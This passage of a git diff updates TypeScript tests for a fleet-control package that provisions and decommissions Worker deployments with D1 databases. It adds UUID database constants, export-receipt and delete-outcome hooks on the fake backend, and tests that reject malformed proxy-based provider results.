this.#allocators.clone(); @@ -579,8 +593,10 @@ export class ProviderWorld { } } -export function providerWorld(): ProviderWorld { - return new ProviderWorld(); +export function providerWorld( + databaseIdMode: ProviderDatabaseIdMode = 'sequence', +): ProviderWorld { + return new ProviderWorld(databaseIdMode); } function versionDigest( diff --git a/packages/fleet-control/test/plain-worker-backend-conformance.ts b/packages/fleet-control/test/plain-worker-backend-conformance.ts index 493258fe..f8986636 100644 --- a/packages/fleet-control/test/plain-worker-backend-conformance.ts +++ b/packages/fleet-control/test/plain-worker-backend-conformance.ts @@ -11,10 +11,11 @@ import { provisionDeployment, } from '../src/provision.js'; import { deploymentSpecDigest } from '../src/spec-digest.js'; -import type { - DeploymentSecrets, - DeploymentSpec, - FleetRecord, +import { + type DeploymentSecrets, + type DeploymentSpec, + effectiveLifecyclePhase, + type FleetRecord, } from '../src/types.js'; import { buildPlainWorkerSpec, @@ -948,7 +949,7 @@ export function describePlainWorkerConformance( 'decommissioned', ]; - for (const phase of teardownPhases) { + for (const [index, phase] of teardownPhases.entries()) { const harness = makeHarness(baseline.world.clone()); harness.store.record = structuredClone(ready.record); harness.world.mutationLog.length = 0; @@ -965,6 +966,11 @@ export function describePlainWorkerConformance( spec, }), ).rejects.toThrow(`failed state write at ${phase}`); + const retained = harness.store.record; + if (!retained) throw new Error('failed write removed the Fleet row'); + const predecessor = teardownPhases[index - 1] ?? 'ready'; + expect(effectiveLifecyclePhase(retained)).toBe(predecessor); + expect(retained.phase).toBe('decommission-advancing'); const result = await decommissionDeployment({ backend: harness.backend, store: harness.store, @@ -987,6 +993,13 @@ export function describePlainWorkerConformance( expect( harness.exportStore.exports.get(ready.record.databaseId)?.bytes, ).toEqual(expectedBytes); + expect(result.record).toMatchObject({ + phase: 'decommissioned', + decommissionIntent: { + lifecyclePhase: 'decommissioned', + state: 'complete', + }, + }); } const exportFailure = makeHarness(baseline.world.clone()); diff --git a/packages/fleet-control/test/plain-worker-conformance.wrangler.test.ts b/packages/fleet-control/test/plain-worker-conformance.wrangler.test.ts index 90b67227..4afb91d3 100644 --- a/packages/fleet-control/test/plain-worker-conformance.wrangler.test.ts +++ b/packages/fleet-control/test/plain-worker-conformance.wrangler.test.ts @@ -74,7 +74,7 @@ describe('provider projection equivalence', () => { }); const intent = uploadIntentForSpec( buildPlainWorkerSpec(), - 'database-1', + '00000000-0000-4000-8000-000000000001', 'initial', ); const fence = mutationFence(); diff --git a/packages/fleet-control/test/provision.test.ts b/packages/fleet-control/test/provision.test.ts index 5a17220e..61f368b7 100644 --- a/packages/fleet-control/test/provision.test.ts +++ b/packages/fleet-control/test/provision.test.ts @@ -17,6 +17,7 @@ import { DecommissionAdvanceCapabilityError, DecommissionAdvanceRestartError, type DecommissionAdvanceResult, + reconcilePersistedDatabase, } from '../src/decommission-advance.js'; import { normalizeDecommissionAdvanceIntent } from '../src/decommission-intent.js'; import { migrateFleet, rollbackExternalRelease } from '../src/fleet.js'; @@ -43,7 +44,10 @@ import type { ActiveRouteAttestation, ApplicationR2BucketSnapshot, ApplicationR2Resource, + DatabaseExport, + DatabaseExportReceiptIdentity, DatabaseReference, + DecommissionAdvanceIntent, DecommissionAttachmentScanInput, DecommissionAttachmentScanResult, DeploymentSecrets, @@ -62,6 +66,7 @@ import type { ProvisioningBackendKind, SeedDeploymentIdentityOptions, } from '../src/types.js'; +import { effectiveLifecyclePhase } from '../src/types.js'; import { externalReleaseScriptName } from '../src/workers-for-platforms-backend.js'; import { WranglerLoopBackend } from '../src/wrangler-loop-backend.js'; import type { CommandResult, CommandRunner } from '../src/wrangler-runner.js'; @@ -94,6 +99,14 @@ const secrets: DeploymentSecrets = { maintenanceAdmin: 'maintenance-admin-secret-value-00001', }; +const DATABASE_ID = '00000000-0000-0000-0000-000000000101'; +const REPLACEMENT_DATABASE_ID = '00000000-0000-0000-0000-000000000102'; +const RECEIPT_AUTHORITY = 'memory://fleet-exports/receipts/v1'; + +type BoxedOutcome = + | Readonly<{ status: 'fulfilled'; value: Value; commit?: boolean }> + | Readonly<{ status: 'rejected'; reason: unknown; commit?: boolean }>; + function completeLiveDeployment( live: Omit, ): LiveDeployment { @@ -144,6 +157,9 @@ class MemoryStore implements FleetStateStore { | Readonly<{ name: string; state: ApplicationR2Resource['state'] }> | undefined; assertOwnedFailure: unknown; + assertOwnedFailureAt: number | undefined; + assertOwnedObserved: (() => void) | undefined; + assertOwnedCalls = 0; async withDeploymentLease( tenantTag: string, @@ -159,9 +175,14 @@ class MemoryStore implements FleetStateStore { environment, mutationLeaseTtlMs: 15 * 60_000, assertOwned: async () => { + this.assertOwnedCalls += 1; + this.assertOwnedObserved?.(); if (this.assertOwnedFailure !== undefined) { throw this.assertOwnedFailure; } + if (this.assertOwnedFailureAt === this.assertOwnedCalls) { + throw new Error(`lease assertion ${this.assertOwnedCalls} failed`); + } }, renew: async () => {}, put: (record) => this.put(record), @@ -187,9 +208,16 @@ class MemoryStore implements FleetStateStore { ), }; } - if (this.failPutPhase === record.phase) { + const lifecyclePhase = record.decommissionIntent + ? effectiveLifecyclePhase(record) + : record.phase; + if ( + this.failPutPhase === record.phase || + this.failPutPhase === lifecyclePhase + ) { + const failedPhase = this.failPutPhase; this.failPutPhase = undefined; - throw new Error(`failed state write at ${record.phase}`); + throw new Error(`failed state write at ${failedPhase}`); } const applicationFailure = this.failPutApplicationState; if ( @@ -238,10 +266,17 @@ class CommitThenThrowStore extends MemoryStore { state, })), ); - if (this.failAfterCommittedPhase === record.phase) { + const lifecyclePhase = record.decommissionIntent + ? effectiveLifecyclePhase(record) + : record.phase; + if ( + this.failAfterCommittedPhase === record.phase || + this.failAfterCommittedPhase === lifecyclePhase + ) { + const failedPhase = this.failAfterCommittedPhase; this.failAfterCommittedPhase = undefined; throw new Error( - `state write response was lost after committing ${record.phase}`, + `state write response was lost after committing ${failedPhase}`, ); } const failure = this.failAfterCommittedApplicationState; @@ -273,6 +308,7 @@ const maintenance: MaintenanceHealth = { class FakeBackend implements ProvisioningBackend { readonly kind: ProvisioningBackendKind; readonly immutableExternalArtifacts?: true; + readonly databaseExportReceiptAuthority = RECEIPT_AUTHORITY; readonly events: string[] = []; failAt: string | undefined; cleanupFailAt: string | undefined; @@ -281,9 +317,9 @@ class FakeBackend implements ProvisioningBackend { activeRoute: ActiveRouteAttestation | undefined; exportLocation = 'r2://fleet-exports/acme.sql'; databaseExists = false; - databaseId = 'database-id'; + databaseId = DATABASE_ID; databaseName = 'acme-production'; - databaseOwner: string | undefined; + databaseOwner: unknown; /** Every fence state provisioning asked for, in call order. */ readonly seededFenceStates: InitialExecutionFenceState[] = []; readonly databaseIdsRead: string[] = []; @@ -305,6 +341,12 @@ class FakeBackend implements ProvisioningBackend { forceStepStarted: (() => void) | undefined; readonly scanInputs: DecommissionAttachmentScanInput[] = []; readonly scanResults: DecommissionAttachmentScanResult[] = []; + scanAfter: (() => void) | undefined; + readonly databaseReadOutcomes: BoxedOutcome[] = []; + readonly deleteOutcomes: BoxedOutcome[] = []; + readonly receiptOutcomes: BoxedOutcome[] = []; + readonly receiptCalls: DatabaseExportReceiptIdentity[] = []; + readonly receiptWinners = new Map(); scanFailure: unknown; residualCalls = 0; @@ -329,6 +371,11 @@ class FakeBackend implements ProvisioningBackend { databaseId: string, ): Promise { this.databaseIdsRead.push(databaseId); + const outcome = this.databaseReadOutcomes.shift(); + if (outcome?.status === 'rejected') throw outcome.reason; + if (outcome?.status === 'fulfilled') { + return outcome.value as DatabaseReference | undefined; + } return this.databaseExists && databaseId === this.databaseId ? { id: this.databaseId, @@ -360,7 +407,7 @@ class FakeBackend implements ProvisioningBackend { } this.databaseExists = true; this.#event('database'); - return { id: 'database-id', name: 'acme-production', created: true }; + return { id: DATABASE_ID, name: 'acme-production', created: true }; } // The fence state is DECLARED here, not dropped: a fake that omits the @@ -379,7 +426,7 @@ class FakeBackend implements ProvisioningBackend { } async readDeploymentIdentity(): Promise { - return this.databaseOwner; + return this.databaseOwner as string | undefined; } async applyMigrations(): Promise { @@ -391,14 +438,16 @@ class FakeBackend implements ProvisioningBackend { ): Promise { this.scanInputs.push(input); if (this.scanFailure !== undefined) throw this.scanFailure; - return ( - this.scanResults.shift() ?? { - status: 'complete', - evidenceSha256: 'a'.repeat(64), - evidenceCount: 2, - providerFetchAttemptsReserved: 3, - } - ); + const result = this.scanResults.shift() ?? { + status: 'complete', + evidenceSha256: 'a'.repeat(64), + evidenceCount: 2, + providerFetchAttemptsReserved: 3, + }; + const after = this.scanAfter; + this.scanAfter = undefined; + after?.(); + return result; } describeExternalPlatformTarget(deployment: DeploymentSpec) { @@ -503,7 +552,7 @@ class FakeBackend implements ProvisioningBackend { deployment.authoredBy === 'external' ? externalReleaseScriptName(deployment) : deployment.scriptName, - databaseId: 'database-id', + databaseId: DATABASE_ID, durableObjectBindings: externalTopology?.durableObjectBindings ?? deployment.durableObjectBindings.map((binding) => ({ @@ -667,15 +716,47 @@ class FakeBackend implements ProvisioningBackend { }> { this.#event('export'); return { - databaseId: 'database-id', + databaseId: DATABASE_ID, location: this.exportLocation, sha256: 'a'.repeat(64), size: 42, }; } + async exportDatabaseReceipt( + identity: DatabaseExportReceiptIdentity, + ): Promise { + this.#event('export'); + this.receiptCalls.push(structuredClone(identity)); + const key = JSON.stringify(identity); + const canonical: DatabaseExport = { + databaseId: identity.databaseId, + location: `${this.exportLocation}/${identity.operationId}`, + sha256: 'a'.repeat(64), + size: 42, + }; + const outcome = this.receiptOutcomes.shift(); + if (outcome?.status === 'rejected') { + if (outcome.commit === true) this.receiptWinners.set(key, canonical); + throw outcome.reason; + } + if (outcome?.status === 'fulfilled') { + return outcome.value as DatabaseExport; + } + const winner = this.receiptWinners.get(key); + if (winner) return structuredClone(winner); + this.receiptWinners.set(key, canonical); + return structuredClone(canonical); + } + async deleteDatabase(): Promise { this.#event('delete-database'); + const outcome = this.deleteOutcomes.shift(); + if (outcome) { + if (outcome.commit === true) this.databaseExists = false; + if (outcome.status === 'rejected') throw outcome.reason; + return; + } this.databaseExists = false; } @@ -815,7 +896,7 @@ async function wranglerLoopHarness(deployment: DeploymentSpec) { return { stdout: JSON.stringify( state.databaseExists - ? [{ uuid: 'database-id', name: deployment.databaseName }] + ? [{ uuid: DATABASE_ID, name: deployment.databaseName }] : [], ), stderr: '', @@ -865,7 +946,7 @@ async function wranglerLoopHarness(deployment: DeploymentSpec) { annotations: { 'workers/tag': digest }, resources: { bindings: [ - { type: 'd1', name: 'DB', id: 'database-id' }, + { type: 'd1', name: 'DB', id: DATABASE_ID }, { type: 'durable_object_namespace', name: 'MAINTENANCE', @@ -982,16 +1063,16 @@ async function wranglerLoopHarness(deployment: DeploymentSpec) { state.appliedMigrations += 1; }, async getDatabase(databaseId) { - return state.databaseExists && databaseId === 'database-id' + return state.databaseExists && databaseId === DATABASE_ID ? { - id: 'database-id', + id: DATABASE_ID, name: deployment.databaseName, created: false, } : undefined; }, async deleteDatabase(databaseId) { - if (databaseId === 'database-id') state.databaseExists = false; + if (databaseId === DATABASE_ID) state.databaseExists = false; }, async inspectOrdinaryWorkerFootprint() { return { @@ -1128,6 +1209,80 @@ async function driveBoundedUntil( throw new Error('bounded decommission did not reach the requested state'); } +async function driveToPreExportVerify( + harness: BoundedDecommissionHarness, +): Promise { + let result = await driveBoundedUntil( + harness, + (record) => + record.decommissionIntent?.lifecyclePhase === + 'application-resources-deleted' && + record.decommissionIntent.state === 'transitioning', + ); + result = await continueBoundedDecommission(harness, result); + expect(harness.store.record?.decommissionIntent).toMatchObject({ + lifecyclePhase: 'application-resources-deleted', + state: 'discover', + purpose: { kind: 'database-pre-export', databaseId: DATABASE_ID }, + databaseExportReceiptAuthority: RECEIPT_AUTHORITY, + }); + result = await continueBoundedDecommission(harness, result); + expect(harness.store.record?.decommissionIntent).toMatchObject({ + lifecyclePhase: 'application-resources-deleted', + state: 'verify', + }); + return result; +} + +async function driveToPreDeleteVerify( + harness: BoundedDecommissionHarness, +): Promise { + let result = await driveToPreExportVerify(harness); + result = await continueBoundedDecommission(harness, result); + expect(harness.store.record?.decommissionIntent).toMatchObject({ + lifecyclePhase: 'database-exported', + state: 'transitioning', + }); + result = await continueBoundedDecommission(harness, result); + expect(harness.store.record?.decommissionIntent).toMatchObject({ + lifecyclePhase: 'database-exported', + state: 'discover', + purpose: { kind: 'database-pre-delete', databaseId: DATABASE_ID }, + }); + result = await continueBoundedDecommission(harness, result); + expect(harness.store.record?.decommissionIntent).toMatchObject({ + lifecyclePhase: 'database-exported', + state: 'verify', + }); + return result; +} + +function legacyOnlyBackend(backend: FakeBackend): ProvisioningBackend { + return new Proxy({} as ProvisioningBackend, { + has(_target, property) { + if ( + property === 'advanceDecommissionAttachmentScan' || + property === 'databaseExportReceiptAuthority' || + property === 'exportDatabaseReceipt' + ) { + return false; + } + return Reflect.has(backend, property); + }, + get(_target, property) { + if ( + property === 'advanceDecommissionAttachmentScan' || + property === 'databaseExportReceiptAuthority' || + property === 'exportDatabaseReceipt' + ) { + return undefined; + } + const value = Reflect.get(backend, property, backend); + return typeof value === 'function' ? value.bind(backend) : value; + }, + }); +} + describe('fleet provisioning', () => { it('attests empty application bindings exactly while allowing only system-owned variables', () => { const deployment = spec(); @@ -1135,7 +1290,7 @@ describe('fleet provisioning', () => { const record = { tenantTag: deployment.tenantTag, environment: deployment.environment, - databaseId: 'database-id', + databaseId: DATABASE_ID, applicationBindings: { vars: [], secrets: [], r2Buckets: [] }, } satisfies Pick< FleetRecord, @@ -1239,7 +1394,7 @@ describe('fleet provisioning', () => { expect(backend.events).toEqual([]); }); - it('refuses every root lifecycle mutation while decommission advances', async () => { + it('refuses non-advance root lifecycle mutations while decommission advances', async () => { const deployment = spec(); const external = spec({ authoredBy: 'external', @@ -1325,11 +1480,6 @@ describe('fleet provisioning', () => { environment: deployment.environment, }), }, - { - name: 'decommissionDeployment', - run: ({ backend, store }) => - decommissionDeployment({ backend, store, spec: deployment }), - }, ]; for (const item of cases) { @@ -1349,31 +1499,9 @@ describe('fleet provisioning', () => { expect(backend.databaseIdsRead, item.name).toEqual([]); } + const completeStore = new MemoryStore(); const raceBackend = new FakeBackend(); const advancing = advancingRecord(raceBackend); - const { decommissionIntent: _decommissionIntent, ...ready } = advancing; - const raceStore = new MemoryStore(); - raceStore.record = advancing; - let reads = 0; - raceStore.get = async () => { - reads += 1; - return reads === 1 - ? ({ ...ready, phase: 'ready' } as FleetRecord) - : raceStore.record; - }; - await expect( - decommissionDeployment({ - backend: raceBackend, - store: raceStore, - spec: deployment, - }), - ).rejects.toThrow( - 'decommissionDeployment cannot run during an active decommission', - ); - expect(reads).toBe(2); - expect(raceBackend.events).toEqual([]); - - const completeStore = new MemoryStore(); const activeIntent = advancing.decommissionIntent; if (!activeIntent || activeIntent.state === 'complete') { throw new Error('missing active decommission intent'); @@ -1387,6 +1515,7 @@ describe('fleet provisioning', () => { databaseExportSize: 128, decommissionIntent: { ...activeIntent, + databaseExportReceiptAuthority: RECEIPT_AUTHORITY, lifecyclePhase: 'decommissioned', state: 'complete', }, @@ -1433,7 +1562,7 @@ describe('fleet provisioning', () => { ]); expect(result.record).toMatchObject({ phase: 'ready', - databaseId: 'database-id', + databaseId: DATABASE_ID, artifactVersion: 'artifact-v3', }); expect(store.record).toEqual(result.record); @@ -1487,7 +1616,9 @@ describe('fleet provisioning', () => { expect(String((failure as ProvisioningError).cause)).toMatch( /did not converge/, ); - expect(store.record?.phase).toBe('publishing'); + expect(effectiveLifecyclePhase(store.record as FleetRecord)).toBe( + 'publishing', + ); // #and once the route serves the deployed artifact, that is what commits backend.activeRoute = undefined; @@ -2429,7 +2560,7 @@ describe('fleet provisioning', () => { backend: 'workers-for-platforms', environment: activeSpec.environment, scriptName: activeSpec.scriptName, - databaseId: 'database-id', + databaseId: DATABASE_ID, databaseName: activeSpec.databaseName, schemaVersion: 2, artifactVersion: 'artifact-v1', @@ -2494,7 +2625,9 @@ describe('fleet provisioning', () => { decommissionDeployment({ backend, store, spec: spec() }), ).rejects.toThrow(/failed at export/); expect(backend.events).toEqual(['revoke', 'delete-worker', 'export']); - expect(store.record?.phase).toBe('application-resources-deleted'); + expect(effectiveLifecyclePhase(store.record as FleetRecord)).toBe( + 'application-resources-deleted', + ); backend.failAt = undefined; const result = await decommissionDeployment({ @@ -2510,7 +2643,7 @@ describe('fleet provisioning', () => { 'delete-database', ]); expect(result.record.phase).toBe('decommissioned'); - expect(result.databaseExport.location).toBe(backend.exportLocation); + expect(result.databaseExport.location).toContain(backend.exportLocation); }); it.each([ @@ -2537,11 +2670,15 @@ describe('fleet provisioning', () => { backend.nonempty = true; await expect( - decommissionDeployment({ backend, store, spec: deployment }), + decommissionDeployment({ + backend, + store, + spec: deployment, + }), ).rejects.toThrow(/not empty/u); expect(backend.emptyChecks).toBe(1); expect(backend.events).toEqual([]); - expect(store.record?.phase).toBe('ready'); + expect(effectiveLifecyclePhase(store.record as FleetRecord)).toBe('ready'); backend.nonempty = false; await expect( @@ -2575,7 +2712,9 @@ describe('fleet provisioning', () => { await expect( decommissionDeployment({ backend, store, spec: deployment }), ).rejects.toThrow(/not empty/u); - expect(store.record?.phase).toBe('traffic-removed'); + expect(effectiveLifecyclePhase(store.record as FleetRecord)).toBe( + 'traffic-removed', + ); expect(backend.events).toEqual([]); expect(backend.live).toBeDefined(); expect(backend.databaseExists).toBe(true); @@ -2613,7 +2752,9 @@ describe('fleet provisioning', () => { await expect( decommissionDeployment({ backend, store, spec: deployment }), ).rejects.toThrow(/traffic removal response lost/u); - expect(store.record?.phase).toBe('decommissioning'); + expect(effectiveLifecyclePhase(store.record as FleetRecord)).toBe( + 'decommissioning', + ); expect(backend.removeTrafficCalls).toBe(1); expect(backend.events).toEqual([]); @@ -2647,7 +2788,9 @@ describe('fleet provisioning', () => { await expect( decommissionDeployment({ backend, store, spec: deployment }), ).rejects.toThrow(/committing traffic-removed/u); - expect(store.record?.phase).toBe('traffic-removed'); + expect(effectiveLifecyclePhase(store.record as FleetRecord)).toBe( + 'traffic-removed', + ); expect(backend.events).toEqual([]); await expect( @@ -2678,7 +2821,9 @@ describe('fleet provisioning', () => { secrets, }), ).rejects.toThrow(/publishing state is preserved/u); - expect(store.record?.phase).toBe('publishing'); + expect(effectiveLifecyclePhase(store.record as FleetRecord)).toBe( + 'publishing', + ); expect(backend.live).toBeDefined(); expect(backend.databaseExists).toBe(true); expect(backend.buckets.size).toBe(1); @@ -2689,7 +2834,9 @@ describe('fleet provisioning', () => { await expect( decommissionDeployment({ backend, store, spec: deployment }), ).rejects.toThrow(/not empty/u); - expect(store.record?.phase).toBe('publishing'); + expect(effectiveLifecyclePhase(store.record as FleetRecord)).toBe( + 'publishing', + ); expect(backend.events).toEqual([]); backend.nonempty = false; @@ -2785,7 +2932,11 @@ describe('fleet provisioning', () => { backend.events.length = 0; await expect( - decommissionDeployment({ backend, store, spec: deployment }), + decommissionDeployment({ + backend: legacyOnlyBackend(backend), + store, + spec: deployment, + }), ).resolves.toMatchObject({ record: { phase: 'decommissioned' } }); expect(backend.activeRelease).toEqual(activeRelease); expect( @@ -2893,12 +3044,14 @@ describe('fleet provisioning', () => { await expect( decommissionDeployment({ backend, store, spec: spec() }), ).rejects.toThrow(/failed state write/); - expect(store.record?.phase).toBe('database-deleting'); + expect(effectiveLifecyclePhase(store.record as FleetRecord)).toBe( + 'database-deleting', + ); expect(backend.databaseExists).toBe(false); const findDatabaseCalls = backend.findDatabaseCalls; backend.databaseExists = true; - backend.databaseId = 'replacement-database-id'; + backend.databaseId = REPLACEMENT_DATABASE_ID; await expect( decommissionDeployment({ backend, store, spec: spec() }), @@ -2907,7 +3060,7 @@ describe('fleet provisioning', () => { backend.events.filter((event) => event === 'delete-database'), ).toHaveLength(1); expect(backend.databaseExists).toBe(true); - expect(backend.databaseIdsRead.at(-1)).toBe('database-id'); + expect(backend.databaseIdsRead.at(-1)).toBe(DATABASE_ID); expect(backend.findDatabaseCalls).toBe(findDatabaseCalls); }); @@ -2928,7 +3081,9 @@ describe('fleet provisioning', () => { decommissionDeployment({ backend, store, spec: spec() }), ).rejects.toThrow(/resolved with unexpected identity/); expect(backend.events).toEqual([]); - expect(store.record?.phase).toBe('ready'); + expect(effectiveLifecyclePhase(store.record as FleetRecord)).toBe( + 'decommissioning', + ); }); it('rejects database cleanup when the persisted ID has another sentinel owner', async () => { @@ -3050,7 +3205,7 @@ describe('fleet provisioning', () => { ).resolves.toMatchObject({ record: { phase: 'ready' } }); expect(backend.events).not.toContain('database'); expect(backend.events).toContain('identity'); - expect(backend.databaseIdsRead).toContain('database-id'); + expect(backend.databaseIdsRead).toContain(DATABASE_ID); }); it('does not delete a database after an export without integrity evidence', async () => { @@ -3064,16 +3219,21 @@ describe('fleet provisioning', () => { secrets, }); backend.events.length = 0; - backend.exportDatabase = async () => ({ - databaseId: 'database-id', - location: backend.exportLocation, - sha256: '', - size: 0, + backend.receiptOutcomes.push({ + status: 'fulfilled', + value: { + databaseId: DATABASE_ID, + location: backend.exportLocation, + sha256: '', + size: 0, + }, }); await expect( decommissionDeployment({ backend, store, spec: spec() }), - ).rejects.toThrow(/durable, non-empty database export/); + ).rejects.toThrow( + 'bounded decommission database export result is malformed', + ); expect(backend.events).not.toContain('delete-database'); }); @@ -3088,17 +3248,24 @@ describe('fleet provisioning', () => { secrets, }); backend.events.length = 0; - backend.exportDatabase = async () => ({ - databaseId: 'replacement-database-id', - location: backend.exportLocation, - sha256: 'a'.repeat(64), - size: 42, + backend.receiptOutcomes.push({ + status: 'fulfilled', + value: { + databaseId: REPLACEMENT_DATABASE_ID, + location: backend.exportLocation, + sha256: 'a'.repeat(64), + size: 42, + }, }); await expect( decommissionDeployment({ backend, store, spec: spec() }), - ).rejects.toThrow(/unexpected database 'replacement-database-id'/); - expect(store.record?.phase).toBe('application-resources-deleted'); + ).rejects.toThrow( + 'bounded decommission database export result is malformed', + ); + expect(effectiveLifecyclePhase(store.record as FleetRecord)).toBe( + 'application-resources-deleted', + ); expect(backend.events).not.toContain('delete-database'); }); @@ -3502,7 +3669,7 @@ describe('fleet provisioning', () => { }), ).rejects.toThrow(/already being modified/); releaseDatabase?.({ - id: 'database-id', + id: DATABASE_ID, name: 'acme-production', created: true, }); @@ -4317,7 +4484,12 @@ describe('fleet provisioning', () => { for (let depth = 0; depth < 10; depth += 1) { deepToken = { next: deepToken }; } + const transparentAction = new Proxy({ kind: 'start' as const }, {}); + const revokedAction = Proxy.revocable({ kind: 'start' as const }, {}); + revokedAction.revoke(); for (const action of [ + transparentAction, + revokedAction.proxy, { kind: 'start', extra: true }, { kind: 'unknown' }, { kind: 'continue' }, @@ -4425,6 +4597,7 @@ describe('fleet provisioning', () => { generation: intent.generation, updatedAt: intent.updatedAt, identity: intent.identity, + databaseExportReceiptAuthority: RECEIPT_AUTHORITY, lifecyclePhase: 'decommissioned', state: 'complete', }, @@ -4733,31 +4906,35 @@ describe('fleet provisioning', () => { ]); const d1Blocked = await boundedDecommissionHarness(); - const d1Started = await startBoundedDecommission(d1Blocked); - const d1Intent = d1Blocked.store.record?.decommissionIntent; - if (!d1Intent) throw new Error('missing D1 blocked intent'); - d1Blocked.store.record = { - ...(d1Blocked.store.record as FleetRecord), - decommissionIntent: { - ...d1Intent, - lifecyclePhase: 'application-resources-deleted', - state: 'blocked', - purpose: { - kind: 'database-pre-export', - databaseId: d1Blocked.store.record?.databaseId as string, - }, - attachment: { plane: 'ordinary', scriptName: 'consumer' }, - }, - }; + let d1Current = await driveBoundedUntil( + d1Blocked, + (record) => + record.decommissionIntent?.lifecyclePhase === + 'application-resources-deleted' && + record.decommissionIntent.state === 'transitioning', + ); + d1Current = await continueBoundedDecommission(d1Blocked, d1Current); + d1Blocked.backend.scanResults.push({ + status: 'attached', + attachment: { plane: 'ordinary', scriptName: 'consumer' }, + providerFetchAttemptsReserved: 3, + }); + const d1BlockedResult = await continueBoundedDecommission( + d1Blocked, + d1Current, + ); await expect( advanceDecommissionDeployment( boundedAdvanceOptions(d1Blocked, { kind: 'restart-blocked', - token: d1Started.token, + token: d1BlockedResult.token, }), ), - ).rejects.toBeInstanceOf(DecommissionAdvanceRestartError); - expect(d1Blocked.backend.scanInputs).toHaveLength(0); + ).resolves.toMatchObject({ status: 'pending' }); + expect(d1Blocked.store.record?.decommissionIntent).toMatchObject({ + state: 'discover', + purpose: { kind: 'database-pre-export' }, + }); }); it('rejects hostile provider results before persistence', async () => { @@ -4899,6 +5076,19 @@ describe('fleet provisioning', () => { symbolResult[Symbol('hostile')] = true; const cyclicResult: Record = { status: 'drift' }; cyclicResult.self = cyclicResult; + const transparentResult = new Proxy({ status: 'drift' as const }, {}); + let revokeResult!: () => void; + const revokedResult = Proxy.revocable( + { status: 'drift' as const }, + { + ownKeys(target) { + const keys = Reflect.ownKeys(target); + revokeResult(); + return keys; + }, + }, + ); + revokeResult = revokedResult.revoke; const hostileRows = [ { label: 'top-level accessor', @@ -4912,6 +5102,18 @@ describe('fleet provisioning', () => { reads: () => proxyTrapCalls, expectedReads: 1, }, + { + label: 'transparent proxy', + row: transparentResult, + reads: () => 0, + expectedReads: 0, + }, + { + label: 'revoked proxy', + row: revokedResult.proxy, + reads: () => 0, + expectedReads: 0, + }, { label: 'nested accessor', row: { @@ -5339,11 +5541,11 @@ describe('fleet provisioning', () => { 'delete-platform', ]); expect(platform.backend.databaseIdsRead).toEqual([ - 'database-id', - 'database-id', - 'database-id', - 'database-id', - 'database-id', + DATABASE_ID, + DATABASE_ID, + DATABASE_ID, + DATABASE_ID, + DATABASE_ID, ]); expect(platform.backend.residualCalls).toBe(1); @@ -5576,7 +5778,7 @@ describe('fleet provisioning', () => { expect(afterCommit.backend.deleteCalls).toBe(1); }); - it('orders two resources without rewind and stops inertly at the D1 boundary', async () => { + it('orders two resources without rewind and selects authority at the D1 boundary', async () => { const harness = await boundedDecommissionHarness({ r2Names: ['ARCHIVE', 'FILES'], }); @@ -5627,8 +5829,13 @@ describe('fleet provisioning', () => { ).toEqual(['deleted', 'deleted']); expect(harness.store.record?.decommissionIntent?.generation).toBe(2); const scans = harness.backend.scanInputs.length; - const inert = await continueBoundedDecommission(harness, result); - expect(inert).toEqual(result); + const selected = await continueBoundedDecommission(harness, result); + expect(selected.token.revision).toBe(result.token.revision + 1); + expect(harness.store.record?.decommissionIntent).toMatchObject({ + state: 'discover', + purpose: { kind: 'database-pre-export' }, + databaseExportReceiptAuthority: RECEIPT_AUTHORITY, + }); expect(harness.backend.scanInputs).toHaveLength(scans); for (const mode of [ @@ -5794,6 +6001,1590 @@ describe('fleet provisioning', () => { } }); + it('selects one immutable receipt authority before bounded D1 work', async () => { + const startedHarness = await boundedDecommissionHarness(); + const started = await startBoundedDecommission(startedHarness); + expect(startedHarness.store.record?.decommissionIntent).not.toHaveProperty( + 'databaseExportReceiptAuthority', + ); + expect(startedHarness.backend.receiptCalls).toEqual([]); + + let boundary = started; + for (let step = 0; step < 16; step += 1) { + if ( + startedHarness.store.record?.decommissionIntent?.lifecyclePhase === + 'application-resources-deleted' + ) { + break; + } + boundary = await continueBoundedDecommission(startedHarness, boundary); + expect( + startedHarness.store.record?.decommissionIntent, + ).not.toHaveProperty('databaseExportReceiptAuthority'); + } + const beforeSelection = startedHarness.store.record; + const selected = await continueBoundedDecommission( + startedHarness, + boundary, + ); + expect(startedHarness.store.record).toMatchObject({ + phase: 'decommission-advancing', + decommissionIntent: { + revision: (beforeSelection?.decommissionIntent?.revision as number) + 1, + generation: + (beforeSelection?.decommissionIntent?.generation as number) + 1, + databaseExportReceiptAuthority: RECEIPT_AUTHORITY, + lifecyclePhase: 'application-resources-deleted', + state: 'discover', + purpose: { kind: 'database-pre-export', databaseId: DATABASE_ID }, + }, + }); + expect(selected).toMatchObject({ status: 'pending' }); + + for (const row of [ + { + label: 'absent pair', + authority: undefined, + method: undefined, + message: 'backend cannot write idempotent database export receipts', + }, + { + label: 'authority only', + authority: RECEIPT_AUTHORITY, + method: undefined, + message: 'database export receipt capability is malformed', + }, + { + label: 'method only', + authority: undefined, + method: async () => ({}), + message: 'database export receipt capability is malformed', + }, + { + label: 'non-callable', + authority: RECEIPT_AUTHORITY, + method: 1, + message: 'database export receipt capability is malformed', + }, + { + label: 'empty authority', + authority: '', + method: async () => ({}), + message: 'database export receipt capability is malformed', + }, + { + label: 'over-bound authority', + authority: 'x'.repeat(4_097), + method: async () => ({}), + message: 'database export receipt capability is malformed', + }, + ] as const) { + const harness = await boundedDecommissionHarness(); + const backend = new Proxy(harness.backend, { + get(target, property) { + if (property === 'databaseExportReceiptAuthority') { + return row.authority; + } + if (property === 'exportDatabaseReceipt') return row.method; + const value = Reflect.get(target, property, target); + return typeof value === 'function' ? value.bind(target) : value; + }, + }); + await expect( + advanceDecommissionDeployment( + boundedAdvanceOptions(harness, { kind: 'start' }, { backend }), + ), + row.label, + ).rejects.toThrow(row.message); + expect( + harness.store.record?.decommissionIntent, + row.label, + ).toBeUndefined(); + } + + const throwing = await boundedDecommissionHarness(); + const backend = new Proxy(throwing.backend, { + get(target, property) { + if (property === 'databaseExportReceiptAuthority') { + throw new Error('receipt getter trap'); + } + const value = Reflect.get(target, property, target); + return typeof value === 'function' ? value.bind(target) : value; + }, + }); + await expect( + advanceDecommissionDeployment( + boundedAdvanceOptions(throwing, { kind: 'start' }, { backend }), + ), + ).rejects.toThrow('database export receipt capability is malformed'); + + const invalidIdentity = await boundedDecommissionHarness(); + invalidIdentity.backend.databaseId = 'not-a-uuid'; + invalidIdentity.store.record = { + ...(invalidIdentity.store.record as FleetRecord), + databaseId: 'not-a-uuid', + }; + await expect(startBoundedDecommission(invalidIdentity)).rejects.toThrow( 